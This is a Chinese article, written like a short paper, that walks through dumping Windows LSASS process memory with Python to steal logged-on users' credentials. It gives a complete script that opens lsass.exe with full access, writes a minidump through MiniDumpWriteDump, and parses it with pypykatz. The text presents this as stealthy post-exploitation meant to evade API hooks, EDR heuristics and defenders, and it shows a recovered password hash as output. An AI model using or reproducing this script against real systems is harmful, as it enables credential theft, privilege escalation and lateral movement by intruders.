摘要:LSASS 是Windows操作系统非常重要的系统服务,因为它保存着每个登录用户的加密密码和令牌数据,所以也成了网络攻击系统的首要目标。一旦这些凭据被盗,攻击者就可以冒充用户、提升权限或在网络中不受控制地移动。本文用Python实现了转储LSASS凭证和提取使用的程序,验证了LSASS凭证转储怎样规避特权上下文、未挂钩的内存读取以及对文件写入的隐秘处理,实现有效且隐秘地自动提取 LSASS 凭证。

关键词:LSASS凭证,Pypykatz

引言

Windows 的本地安全机构子系统服务 (LSASS) 强制执行身份验证,并将所有活动用户凭据(密码、NT/LM 哈希、Kerberos 票证等)存储在其内存中。通过读写这些机密,攻击者可以获得权限提升(例如获取域管理员哈希)和横向移动能力。也就是说,LSASS 保存着每个登录用户的加密密码和令牌数据,一旦这些凭据被盗,攻击者就可以冒充用户、提升权限,能够在网络中不受控制地移动。

一、访问 LSASS

LSASS 受到系统严格的保护,Windows将其标记为受保护进程(PPL),以便只有其他已签名且受保护的进程(例如 MSA 或 Credential Guard 组件)才能打开它。事实上,凭据转储非常关键,Windows 10 引入了LSA 保护:它将 LSASS 标记为受保护进程轻量级 (PPL),以阻止大多数第三方访问。

为了转储凭据,我们使用 Python 编程开发时必须能够克服这些障碍。我们需要提升权限(至少是管理员权限SeDebugPrivilege,最好是NTAUTHORITY \ SYSTEM)。我们必须能够规避 API 钩子,以便像ReadProcessMemory()或 这样的调用MiniDumpWriteDump()不会触发警报。并且,我们应该尽量减少占用空间,以便防御者无法轻易发现我们正在转储 LSASS。总之,LSASS 转储需要巧妙的规避:特权上下文、未挂钩的内存读取以及对文件写入的隐秘处理。

二、转储创建(MiniDumpWriteDump)

常见的策略是创建 LSASS内存转储并在外部进行解析。Windows 提供了MiniDumpWriteDump API(在Windows 中dbghelp.dll)用于将进程内存快照写入文件。在Python 中,我们可以通过ctypes调用dbghelp来实现。

三、Python编程实现Dump.py

 本文实验环境说明,硬件: CPU Intel(R) Core(TM) i7-2620M,软件:操作系统Windows10教育版(版本号22H2)64位,Python(版本号3.9.7)编程工具,本实验中会用到Pypykatz (版本号0.3.15)提取LSASS凭证。

图3-1 本文编程机器环境

Pypykatz 是一个纯Python实现的 Mimikatz 工具,Mimikatz只能在Windows系统里使用,而Pypykatz能够跨平台,在Windows、linux系统中提取凭证信息(如NTLM、Kerberos等认证信息)。它通过与 LSASS进程通信获取内存中的凭证数据,支持离线分析(通过 minidump 文件)。

Dump.py源代码

import ctypes,os# 程序用到的库文件

from ctypes import wintypes

import psutil

from pypykatz.pypykatz import pypykatz

PROCESS_ALL_ACCESS=0x1FFFFF#用到的常量说明

MINIDUMP_FULL = 0x00000002

def isAdmin():#判断是否是以管理员身份的函数

    try:

        is_admin = (os.getuid() == 0)

    except AttributeError:

        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0

    return is_admin

def get_lsass_pid():# Find LSASS PID (e.g. with psutil)

    for proc in psutil.process_iter():

        try:

        # Get process name & pid from process object.

            if 'lsass.exe' == proc.name():

               pid = proc.pid             

               return pid          

        except :

            print("getlsass error")

#使用Windows API

kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)

advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)

dbghelp = ctypes.WinDLL('dbghelp.dll')

kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)

advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)

if isAdmin():#判断是否是以管理员身份

    print("用管理员身份运行程序!")

else:

    print("用非管理员身份运行程序!")

# Open LSASS and output file

h_file = kernel32.CreateFileW("lsass.dmp", 0x40000000, 0, None, 2, 0, None)

# Perform the dump

pid = get_lsass_pid()#读取lsass.exe的进程号

#打开读取LSASS凭证的进程

h_lsass = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)

success = dbghelp.MiniDumpWriteDump(h_lsass, pid, h_file, MINIDUMP_FULL, None, None, None)

if not success: #判断创建lsass.dmp文件是否成功

    print("MiniDumpWriteDump failed:", ctypes.get_last_error())

# Parse live LSASS (requires same privileges as mimikatz)

katz=pypykatz.go_handledup()

#minidump已经打开lsass.dmp,不能使用pypykatz parse_minidump_file方法


print(katz) #提取LSASS凭证显示相关内容

图3-2  本文实验输出结果

SHA1: 93067802b06031973d15a14acca25dccd27c8719就是本文中用的密码“abcabc”的SHA1散列值

结语

从 LSASS 转储凭证是后漏洞利用中一个强大(且非常关键)的阶段。在 Python 中,我们有多种方法:直接使用 读取内存ReadProcessMemory、使用MiniDumpWriteDump创建转储文件或调用 Mimikatz/pypykatz 解析 LSASS。将 Python 的灵活高效与Windows 内部机制和 EDR 启发式算法的相结合,可以有效且隐秘地提取 LSASS 凭证。

参考文献

[1] haidragonx.使用 Python 转储凭证:自动化 LSASS 访问和凭证提取后利用[EB/OL]. Bilibili,https://www.bilibili.com/opus/1066319502087553046

[2] 乌鸦安全. Windows密码凭证获取学习[EB/OL].csdn,https://blog.csdn.net/csdnmmd/article/details/126221638

[3] 网安导师小李.深入解析:Windows 提权技术全攻略[EB/OL].csdn, https://blog.csdn.net/a1_3_9_7/article/details/148617791

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐